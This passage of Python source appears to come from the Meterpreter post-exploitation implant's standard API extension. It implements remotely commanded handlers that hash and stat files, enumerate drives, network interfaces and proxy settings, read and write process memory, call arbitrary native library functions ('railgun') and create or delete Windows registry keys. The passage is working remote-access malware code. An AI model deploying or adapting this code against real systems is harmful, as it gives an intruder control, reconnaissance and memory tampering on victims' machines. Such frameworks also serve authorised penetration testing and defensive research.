    response += tlv_pack(TLV_TYPE_STRING, os.sep)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_sha1(request, response):
    try:
        import hashlib
        m = hashlib.sha1()
    except ImportError:
        import sha
        m = sha.new()
    path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    m.update(open(path, 'rb').read())
    response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_stat(request, response):
    path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    st_buf = get_stat_buffer(unicode(path))
    response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_fs_mount_show(request, response):
    letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    k32 = ctypes.windll.kernel32
    mpr = ctypes.windll.mpr
    # Retrieves a bitmask representing the currently available disk drives
    bitmask = k32.GetLogicalDrives()
    # List of currently available disk drives
    drives = []
    for drive_letter in letters:
        # Check if drive is present
        if bitmask & 1:
            drives.append(drive_letter + ':')
        # Move to next drive letter
        bitmask >>= 1
    for drive in drives:
        drive_type = k32.GetDriveTypeW(drive)
        mount = bytes()
        mount += tlv_pack(TLV_TYPE_MOUNT_NAME, drive)
        mount += tlv_pack(TLV_TYPE_MOUNT_TYPE, drive_type)
        # Get UNC path for network drives
        if drive_type == DRIVE_REMOTE:
            buf = ctypes.create_unicode_buffer(1024)
            bufsize = ctypes.c_ulong(1024)
            if mpr.WNetGetUniversalNameW(drive, UNIVERSAL_NAME_INFO_LEVEL, ctypes.byref(buf), ctypes.byref(bufsize)) == 0:
                pUniversalNameInfo = cstruct_unpack(UNIVERSAL_NAME_INFO, buf)
                mount += tlv_pack(TLV_TYPE_MOUNT_UNCPATH, pUniversalNameInfo.lpUniversalName)
        # Retrieve information about the amount of space that is available on a disk volume
        user_free_bytes = ctypes.c_ulonglong(0)
        total_bytes = ctypes.c_ulonglong(0)
        total_free_bytes = ctypes.c_ulonglong(0)
        if k32.GetDiskFreeSpaceExW(drive, ctypes.byref(user_free_bytes), ctypes.byref(total_bytes), ctypes.byref(total_free_bytes)):
            mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_USER, user_free_bytes.value)
            mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_TOTAL, total_bytes.value)
            mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_FREE, total_free_bytes.value)
        response += tlv_pack(TLV_TYPE_MOUNT_GROUP, mount)
    return ERROR_SUCCESS, response

@register_function
def stdapi_net_config_get_interfaces(request, response):
    if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
        interfaces = stdapi_net_config_get_interfaces_via_netlink()
    elif sys.platform == 'darwin':
        interfaces = stdapi_net_config_get_interfaces_via_osx_ifconfig()
    elif has_windll:
        interfaces = stdapi_net_config_get_interfaces_via_windll()
    else:
        return ERROR_FAILURE, response
    for iface_info in interfaces:
        iface_tlv  = bytes()
        iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
        iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
        if 'mtu' in iface_info:
            iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
        if 'flags' in iface_info:
            iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
        iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
        for address in iface_info.get('addrs', []):
            iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
            if isinstance(address[2], (int, long)):
                iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
            else:
                iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
        response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
    return ERROR_SUCCESS, response

def stdapi_net_config_get_interfaces_via_netlink():
    rta_align = lambda l: l+3 & ~3
    iface_flags = {
        0x0001: 'UP',
        0x0002: 'BROADCAST',
        0x0008: 'LOOPBACK',
        0x0010: 'POINTTOPOINT',
        0x0040: 'RUNNING',
        0x0100: 'PROMISC',
        0x1000: 'MULTICAST'
    }
    iface_flags_sorted = list(iface_flags.keys())
    # Dictionaries don't maintain order
    iface_flags_sorted.sort()
    interfaces = {}

    responses = netlink_request(RTM_GETLINK)
    for res_data in responses:
        iface = cstruct_unpack(IFINFOMSG, res_data)
        iface_info = {'index':iface.index}
        flags = []
        for flag in iface_flags_sorted:
            if (iface.flags & flag):
                flags.append(iface_flags[flag])
        iface_info['flags'] = ' '.join(flags)
        cursor = ctypes.sizeof(IFINFOMSG)
        while cursor < len(res_data):
            attribute = cstruct_unpack(RTATTR, res_data[cursor:])
            at_len = attribute.len
            attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
            cursor += rta_align(at_len)

            if attribute.type == IFLA_ADDRESS:
                iface_info['hw_addr'] = attr_data
            elif attribute.type == IFLA_IFNAME:
                iface_info['name'] = attr_data
            elif attribute.type == IFLA_MTU:
                iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
        interfaces[iface.index] = iface_info

    responses = netlink_request(RTM_GETADDR)
    for res_data in responses:
        iface = cstruct_unpack(IFADDRMSG, res_data)
        if not iface.family in (socket.AF_INET, socket.AF_INET6):
            continue
        iface_info = interfaces.get(iface.index, {})
        cursor = ctypes.sizeof(IFADDRMSG)
        while cursor < len(res_data):
            attribute = cstruct_unpack(RTATTR, res_data[cursor:])
            at_len = attribute.len
            attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
            cursor += rta_align(at_len)

            if attribute.type == IFA_ADDRESS:
                nm_bits = iface.prefixlen
                if iface.family == socket.AF_INET:
                    netmask = calculate_32bit_netmask(nm_bits)
                else:
                    netmask = calculate_128bit_netmask(nm_bits)
                addr_list = iface_info.get('addrs', [])
                addr_list.append((iface.family, attr_data, netmask))
                iface_info['addrs'] = addr_list
            elif attribute.type == IFA_LABEL:
                iface_info['name'] = attr_data
        interfaces[iface.index] = iface_info
    return interfaces.values()

def stdapi_net_config_get_interfaces_via_osx_ifconfig():
    proc_h = subprocess.Popen('/sbin/ifconfig', stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    if proc_h.wait():
        raise Exception('ifconfig exited with non-zero status')
    output = proc_h.stdout.read()

    interfaces = []
    iface = {}
    for line in output.split('\n'):
        match = re.match(r'^([a-z0-9]+): flags=(\d+)<[A-Z,]*> mtu (\d+)\s*$', line)
        if match is not None:
            if iface:
                interfaces.append(iface)
            iface = {}
            iface['name'] = match.group(1)
            iface['flags'] = int(match.group(2))
            iface['mtu'] = int(match.group(3))
            iface['index'] = len(interfaces)
            continue
        match = re.match(r'^\s+ether (([a-f0-9]{2}:){5}[a-f0-9]{2})\s*$', line)
        if match is not None:
            iface['hw_addr'] = ''.join(list(chr(int(b, 16)) for b in match.group(1).split(':')))
            continue
        match = re.match(r'^\s+inet ((\d+\.){3}\d+) netmask 0x([a-f0-9]{8})( broadcast ((\d+\.){3}\d+))?\s*$', line)
        if match is not None:
            addrs = iface.get('addrs', [])
            netmask = struct.pack('!I', int(match.group(3), 16))
            addrs.append((socket.AF_INET, inet_pton(socket.AF_INET, match.group(1)), netmask))
            iface['addrs'] = addrs
            continue
        match = re.match(r'^\s+inet6 ([a-f0-9:]+)(%[a-z0-9]+)? prefixlen (\d+)( secured)?( scopeid 0x[a-f0-9]+)?\s*$', line)
        if match is not None:
            addrs = iface.get('addrs', [])
            netmask = calculate_128bit_netmask(int(match.group(3)))
            addrs.append((socket.AF_INET6, inet_pton(socket.AF_INET6, match.group(1)), netmask))
            iface['addrs'] = addrs
            continue
    if iface:
        interfaces.append(iface)
    return interfaces

def stdapi_net_config_get_interfaces_via_windll():
    iphlpapi = ctypes.windll.iphlpapi
    if not hasattr(iphlpapi, 'GetAdaptersAddresses'):
        return stdapi_net_config_get_interfaces_via_windll_mib()
    Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
    AdapterAddresses = ctypes.c_void_p()
    SizePointer = ctypes.c_ulong()
    SizePointer.value = 0
    iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
    AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
    iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
    AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
    AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
    if AdapterAddresses.u.s.Length <= 72:
        return stdapi_net_config_get_interfaces_via_windll_mib()
    win_version = windll_GetVersion()
    interfaces = []
    pAdapterAddresses = ctypes.byref(AdapterAddresses)
    while pAdapterAddresses:
        AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
        pAdapterAddresses = AdapterAddresses.Next
        pFirstPrefix = AdapterAddresses.FirstPrefix
        iface_info = {}
        iface_info['index'] = AdapterAddresses.u.s.IfIndex
        if AdapterAddresses.PhysicalAddressLength:
            iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
        iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
        if not is_str(iface_desc):
            iface_desc = str(iface_desc)
        iface_info['name'] = iface_desc
        iface_info['mtu'] = AdapterAddresses.Mtu
        pUniAddr = AdapterAddresses.FirstUnicastAddress
        while pUniAddr:
            UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
            pUniAddr = UniAddr.Next
            address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
            if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
                continue
            prefix = 0
            if win_version.dwMajorVersion >= 6:
                prefix = UniAddr.OnLinkPrefixLength
            elif pFirstPrefix:
                ip_adapter_prefix = 'QPPIL'
                prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
                prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
            iface_addresses = iface_info.get('addrs', [])
            if address.sa_family == socket.AF_INET:
                iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
            else:
                iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
            iface_info['addrs'] = iface_addresses
        interfaces.append(iface_info)
    return interfaces

def stdapi_net_config_get_interfaces_via_windll_mib():
    iphlpapi = ctypes.windll.iphlpapi
    table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))()
    pdwSize = ctypes.c_ulong()
    pdwSize.value = ctypes.sizeof(table)
    if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0):
        return None
    interfaces = []
    table_data = ctypes.string_at(table, pdwSize.value)
    entries = struct.unpack('I', table_data[:4])[0]
    table_data = table_data[4:]
    for i in range(entries):
        addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
        ifrow = MIB_IFROW()
        ifrow.dwIndex = addrrow.dwIndex
        if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0:
            continue
        iface_info = {}
        table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):]
        iface_info['index'] = addrrow.dwIndex
        iface_info['addrs'] = [(socket.AF_INET, struct.pack('<I', addrrow.dwAddr), struct.pack('<I', addrrow.dwMask))]
        if ifrow.dwPhysAddrLen:
            iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(ifrow.bPhysAddr), ifrow.dwPhysAddrLen)
        if ifrow.dwDescrLen:
            iface_info['name'] = ifrow.bDescr
        iface_info['mtu'] = ifrow.dwMtu
        interfaces.append(iface_info)
    return interfaces

@register_function_if(has_windll)
def stdapi_net_config_get_proxy(request, response):
    winhttp = ctypes.windll.winhttp
    proxy_config = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()
    if not winhttp.WinHttpGetIEproxy_configForCurrentUser(ctypes.byref(proxy_config)):
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_PROXY_CFG_AUTODETECT, proxy_config.fAutoDetect)
    if proxy_config.lpszAutoConfigUrl:
        response += tlv_pack(TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxy_config.lpszAutoConfigUrl)
    if proxy_config.lpszProxy:
        response += tlv_pack(TLV_TYPE_PROXY_CFG_PROXY, proxy_config.lpszProxy)
    if proxy_config.lpszProxyBypass:
        response += tlv_pack(TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxy_config.lpszProxyBypass)
    return ERROR_SUCCESS, response

@register_function
def stdapi_net_resolve_host(request, response):
    hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
    family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
    if family == WIN_AF_INET:
        family = socket.AF_INET
    elif family == WIN_AF_INET6:
        family = socket.AF_INET6
    else:
        raise Exception('invalid family')
    result = resolve_host(hostname, family)
    response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
    response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
    return ERROR_SUCCESS, response

@register_function
def stdapi_net_resolve_hosts(request, response):
    family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
    if family == WIN_AF_INET:
        family = socket.AF_INET
    elif family == WIN_AF_INET6:
        family = socket.AF_INET6
    else:
        raise Exception('invalid family')
    for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME):
        hostname = hostname['value']
        try:
            result = resolve_host(hostname, family)
        except socket.error:
            result = {'family':family, 'packed_address':''}
        response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
        response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
    return ERROR_SUCCESS, response

@register_function
def stdapi_net_socket_tcp_shutdown(request, response):
    channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
    how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
    channel = meterpreter.channels[channel_id]
    channel.sock.shutdown(how)
    return ERROR_SUCCESS, response

def _linux_get_maps():
    maps = []
    lines = open('/proc/' + str(os.getpid()) + '/maps', 'r')
    for line in lines:
        region = dict(zip(
            ('address', 'perms', 'offset', 'dev', 'inode', 'pathname'),
            line.split(' ', 5)
        ))
        region['address-start'], region['address-end'] = region.pop('address').split('-')
        region['address-start'] = int(region['address-start'], 16)
        region['address-end'] = int(region['address-end'], 16)
        region['inode'] = int(region['inode'])
        region['offset'] = int(region['offset'], 16)
        region['pathname'] = region['pathname'].strip()
        region['size'] = region['address-end'] - region['address-start']
        maps.append(region)
    return maps

def _linux_check_maps(address, size, perms=''):
    perms = perms.lower()
    maps = _linux_get_maps()

    cursor = address
    address += size
    while cursor < address:
        for region in maps:
            if region['address-start'] <= cursor < region['address-end']:
                break
        else:
            return False
        for perm in perms:
            if perm == '-':
                continue
            if not perm in region['perms']:
                return False
        if cursor + size < region['address-end']:
            break
        size -= region['address-end'] - cursor
        cursor = region['address-end']
    return True

def _linux_memread(address, size):
    libc = ctypes.cdll.LoadLibrary('libc.so.6')
    if not hasattr(libc, 'process_vm_readv'):
        # requires linux 3.2+ / glibc 2.15+, see:
        # http://man7.org/linux/man-pages/man2/process_vm_readv.2.html#VERSIONS
        raise RuntimeError('process_vm_readv is unavailable')
    if not _linux_check_maps(address, size, perms='r'):
        raise RuntimeError('invalid permissions')
    buff = (ctypes.c_byte * size)()
    local_iov = IOVEC(iov_base=ctypes.cast(buff, ctypes.c_void_p), iov_len=size)
    remote_iov = IOVEC(iov_base=address, iov_len=size)
    result = libc.process_vm_readv(
        os.getpid(),
        ctypes.byref(local_iov),
        1,
        ctypes.byref(remote_iov),
        1,
        0
    )
    if result == -1:
        raise RuntimeError('operation failed')
    return ctarray_to_bytes(buff)

def _linux_memwrite(address, data):
    libc = ctypes.cdll.LoadLibrary('libc.so.6')
    if not hasattr(libc, 'process_vm_writev'):
        # requires linux 3.2+ / glibc 2.15+, see:
        # http://man7.org/linux/man-pages/man2/process_vm_writev.2.html#VERSIONS
        raise RuntimeError('process_vm_writev is unavailable')
    size = len(data)
    if not _linux_check_maps(address, size, perms='w'):
        raise RuntimeError('invalid permissions')
    buff = bytes_to_ctarray(data)
    local_iov = IOVEC(iov_base=ctypes.cast(buff, ctypes.c_void_p), iov_len=size)
    remote_iov = IOVEC(iov_base=address, iov_len=size)
    result = libc.process_vm_writev(
        os.getpid(),
        ctypes.byref(local_iov),
        1,
        ctypes.byref(remote_iov),
        1,
        0
    )
    if result == -1:
        raise RuntimeError('operation failed')
    return size

def _osx_memread(address, size):
    libc = ctypes.CDLL(ctypes.util.find_library('c'))
    task = libc.mach_task_self()
    libc.mach_vm_read.argtypes = [ctypes.c_uint32, size_t, size_t, ctypes.POINTER(ctypes.c_void_p), ctypes.POINTER(ctypes.c_uint32)]
    libc.mach_vm_read.restype = ctypes.c_uint32
    pointer = ctypes.c_void_p()
    out_size = ctypes.c_uint32()
    result = libc.mach_vm_read(task, address, size, ctypes.byref(pointer), ctypes.byref(out_size))
    if result == 1:  # KERN_INVALID_ADDRESS
        raise RuntimeError('invalid address')
    elif result == 2:  # KERN_PROTECTION_FAILURE
        raise RuntimeError('invalid permissions')
    if result != 0 or size != out_size.value:
        raise RuntimeError('operation failed')
    buff = ctypes.cast(pointer, ctypes.POINTER(ctypes.c_byte * out_size.value))
    return ctarray_to_bytes(buff.contents)

def _osx_memwrite(address, data):
    libc = ctypes.CDLL(ctypes.util.find_library('c'))
    task = libc.mach_task_self()
    libc.mach_vm_write.argtypes = [ctypes.c_uint32, size_t, ctypes.c_void_p, ctypes.c_uint32]
    libc.mach_vm_write.restype = ctypes.c_uint32
    buff = bytes_to_ctarray(data)
    if libc.mach_vm_write(task, address, buff, len(buff)) != 0:
        raise RuntimeError('operation failed')
    return len(buff)

def _win_format_message(source, msg_id):
    EN_US = 0
    msg_flags = 0
    msg_flags |= 0x00000100  # FORMAT_MESSAGE_ALLOCATE_BUFFER
    msg_flags |= 0x00000200  # FORMAT_MESSAGE_IGNORE_INSERTS
    msg_flags |= 0x00000800  # FORMAT_MESSAGE_FROM_HMODULE
    msg_flags |= 0x00001000  # FORMAT_MESSAGE_FROM_SYSTEM
    FormatMessage = ctypes.windll.kernel32.FormatMessageA
    FormatMessage.argtypes = [ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.c_void_p]
    FormatMessage.restype = ctypes.c_uint32
    LocalFree = ctypes.windll.kernel32.LocalFree
    LocalFree.argtypes = [ctypes.c_void_p]

    buff = ctypes.c_char_p()
    if not FormatMessage(msg_flags, source, msg_id, EN_US, ctypes.byref(buff), 0, None):
        return None
    message = buff.value.decode('utf-8').rstrip()
    LocalFree(buff)
    return message

def _win_memread(address, size, handle=-1):
    ReadProcessMemory = ctypes.windll.kernel32.ReadProcessMemory
    ReadProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, size_t, ctypes.POINTER(size_t)]
    buff = (ctypes.c_byte * size)()
    read = size_t()
    result = ReadProcessMemory(handle, address, ctypes.byref(buff), size, ctypes.byref(read))
    if not result:
        return None
    return ctarray_to_bytes(buff)

def _win_memwrite(address, data, handle=-1):
    WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
    WriteProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, size_t, ctypes.POINTER(size_t)]
    size = len(data)
    buff = bytes_to_ctarray(data)
    written = size_t()
    result = WriteProcessMemory(handle, address, ctypes.byref(buff), size, ctypes.byref(written))
    if not result:
        return None
    return written.value

@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_api(request, response):
    size_out = packet_get_tlv(request, TLV_TYPE_RAILGUN_SIZE_OUT)['value']
    stack_blob = packet_get_tlv(request, TLV_TYPE_RAILGUN_STACKBLOB)['value']
    buff_blob_in = packet_get_tlv(request, TLV_TYPE_RAILGUN_BUFFERBLOB_IN)['value']
    buff_blob_inout = packet_get_tlv(request, TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT)['value']
    lib_name = packet_get_tlv(request, TLV_TYPE_RAILGUN_DLLNAME)['value']
    func_name = packet_get_tlv(request, TLV_TYPE_RAILGUN_FUNCNAME)['value']
    call_conv = packet_get_tlv(request, TLV_TYPE_RAILGUN_CALLCONV).get('value', ('stdcall' if has_windll else 'cdecl'))

    buff_blob_in = bytes_to_ctarray(buff_blob_in)
    buff_blob_out = (ctypes.c_byte * size_out)()
    buff_blob_inout = bytes_to_ctarray(buff_blob_inout)

    if ctypes.sizeof(ctypes.c_void_p) == 4:
        native = ctypes.c_uint32
        fmt = 'II'
    elif ctypes.sizeof(ctypes.c_void_p) == 8:
        native = ctypes.c_uint64
        fmt = 'QQ'
    else:
        raise RuntimeError('unknown sizeof(void *)')
    fmt_size = struct.calcsize(fmt)

    if call_conv.lower() == 'cdecl':
        func_type = ctypes.CFUNCTYPE
    elif call_conv.lower() == 'stdcall' and hasattr(ctypes, 'WINFUNCTYPE'):
        func_type = ctypes.WINFUNCTYPE
    else:
        raise ValueError('unknown calling convention')

    call_args = []
    func_args = []
    for pos in range(0, len(stack_blob), fmt_size):
        arg_type, arg = struct.unpack(fmt, stack_blob[pos:pos + fmt_size])
        if arg_type == 0:    # literal
            call_args.append(arg)
            func_args.append(native)
        elif arg_type == 1:  # relative to in
            call_args.append(byref_at(buff_blob_in, arg))
            func_args.append(ctypes.c_void_p)
        elif arg_type == 2:  # relative to out
            call_args.append(byref_at(buff_blob_out, arg))
            func_args.append(ctypes.c_void_p)
        elif arg_type == 3:  # relative to inout
            call_args.append(byref_at(buff_blob_inout, arg))
            func_args.append(ctypes.c_void_p)
        else:
            raise ValueError('unknown argument type: ' + str(arg_type))

    debug_print('[*] railgun calling: ' + lib_name + '!' + func_name)
    prototype = func_type(native, *func_args)
    if sys.platform == 'darwin' or sys.platform.startswith('linux'):
        if sys.platform == 'darwin':
            libc = ctypes.CDLL(ctypes.util.find_library('c'))
        else:
            libc = ctypes.cdll.LoadLibrary('libc.so.6')
        p_errno = ctypes.cast(libc.errno, ctypes.POINTER(ctypes.c_int))
        errno = p_errno.contents
        last_error = ctypes.c_int(0)
        p_errno.contents = last_error
        func = prototype((func_name, ctypes.CDLL(ctypes.util.find_library(lib_name) or lib_name)))
        result = func(*call_args)
        p_errno.contents = errno
        last_error = last_error.value
        libc.strerror.argtypes = [ctypes.c_int]
        libc.strerror.restype = ctypes.c_char_p
        error_message = libc.strerror(last_error)
    elif has_windll:
        func = prototype((func_name, ctypes.WinDLL(lib_name)))
        result = func(*call_args)
        GetModuleHandle = ctypes.windll.kernel32.GetModuleHandleA
        GetModuleHandle.argtypes = [ctypes.c_char_p]
        GetModuleHandle.restype = ctypes.c_void_p
        lib_handle = GetModuleHandle(bytes(lib_name, 'UTF-8'))
        last_error = ctypes.windll.kernel32.GetLastError()
        error_message = _win_format_message(lib_handle, last_error)
        if error_message is None:
            if last_error == ERROR_SUCCESS:
                error_message = 'The operation completed successfully.'
            else:
                error_message = 'FormatMessage failed to retrieve the error.'
    else:
        raise RuntimeError('unknown platform')

    response += tlv_pack(TLV_TYPE_RAILGUN_BACK_ERR, last_error)
    response += tlv_pack(TLV_TYPE_RAILGUN_BACK_MSG, error_message)
    response += tlv_pack(TLV_TYPE_RAILGUN_BACK_RET, result)
    response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, ctarray_to_bytes(buff_blob_out))
    response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, ctarray_to_bytes(buff_blob_inout))
    return ERROR_SUCCESS, response

@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_api_multi(request, response):
    for group_tlv in packet_enum_tlvs(request, tlv_type=TLV_TYPE_RAILGUN_MULTI_GROUP):
        group_result = stdapi_railgun_api(group_tlv['value'], bytes())[1]
        response += tlv_pack(TLV_TYPE_RAILGUN_MULTI_GROUP, group_result)
    return ERROR_SUCCESS, response

@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_memread(request, response):
    address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
    length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
    debug_print('[*] railgun reading ' + str(length) + ' bytes from 0x' + hex(address))
    if sys.platform.startswith('darwin'):
        result = _osx_memread(address, length)
    elif sys.platform.startswith('linux'):
        result = _linux_memread(address, length)
    elif has_windll:
        result = _win_memread(address, length)
        if result is None:
            return error_result_windows(), response
    else:
        return ERROR_FAILURE, response
    response += tlv_pack(TLV_TYPE_RAILGUN_MEM_DATA, result)
    return ERROR_SUCCESS, response

@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_memwrite(request, response):
    address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
    data = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_DATA)['value']
    length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
    debug_print('[*] railgun writing ' + str(len(data)) + ' bytes to 0x' + hex(address))
    if sys.platform.startswith('darwin'):
        result = _osx_memwrite(address, data)
    elif sys.platform.startswith('linux'):
        result = _linux_memwrite(address, data)
    elif has_windll:
        result = _win_memwrite(address, data)
        if result is None:
            return error_result_windows(), response
    else:
        return ERROR_FAILURE, response
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_close_key(request, response):
    _wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_create_key(request, response):
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
    base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
    base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
    permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
    res_key = ctypes.c_void_p()
    if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) != ERROR_SUCCESS:
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_delete_key(request, response):
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
    base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
    base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
    flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
    if (flags & DELETE_KEY_FLAG_RECURSIVE):
        result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
    else:
        result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
    return result, response

@register_function_if(has_windll)
def stdapi_registry_delete_value(request, response):
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
    value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
    value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
    result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
    return result, response

def _wreg_enum_key(request, response, hkey):
    ERROR_MORE_DATA = 0xea
    ERROR_NO_MORE_ITEMS = 0x0103
    name = (ctypes.c_char * 4096)()
    index = 0
    tries = 0
    while True:
        result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
        if result == ERROR_MORE_DATA:
            if tries > 3:
                break
            name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
            tries += 1
            continue
        elif result == ERROR_NO_MORE_ITEMS:
            result = ERROR_SUCCESS
            break
        elif result != ERROR_SUCCESS:
            break
        tries = 0
        response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
        index += 1
    return result, response

@register_function_if(has_windll)
def stdapi_registry_enum_key(request, response):
    hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
    return _wreg_enum_key(request, response, hkey)

@register_function_if(has_windll)
def stdapi_registry_enum_key_direct(request, response):
    err, hkey = _wreg_open_key(request)
    if err != ERROR_SUCCESS:
        return err, response
    ret = _wreg_enum_key(request, response, hkey)
    _wreg_close_key(hkey)
    return ret

def _wreg_enum_value(request, response, hkey):
    ERROR_MORE_DATA = 0xea
    ERROR_NO_MORE_ITEMS = 0x0103
    name = (ctypes.c_char * 4096)()
    name_sz = ctypes.c_uint32()
    index = 0
    tries = 0
    while True:
        name_sz.value = ctypes.sizeof(name)
        result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
        if result == ERROR_MORE_DATA:
            if tries > 3:
                break
            name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
            tries += 1
            continue
        elif result == ERROR_NO_MORE_ITEMS:
            result = ERROR_SUCCESS
            break
        elif result != ERROR_SUCCESS:
            break
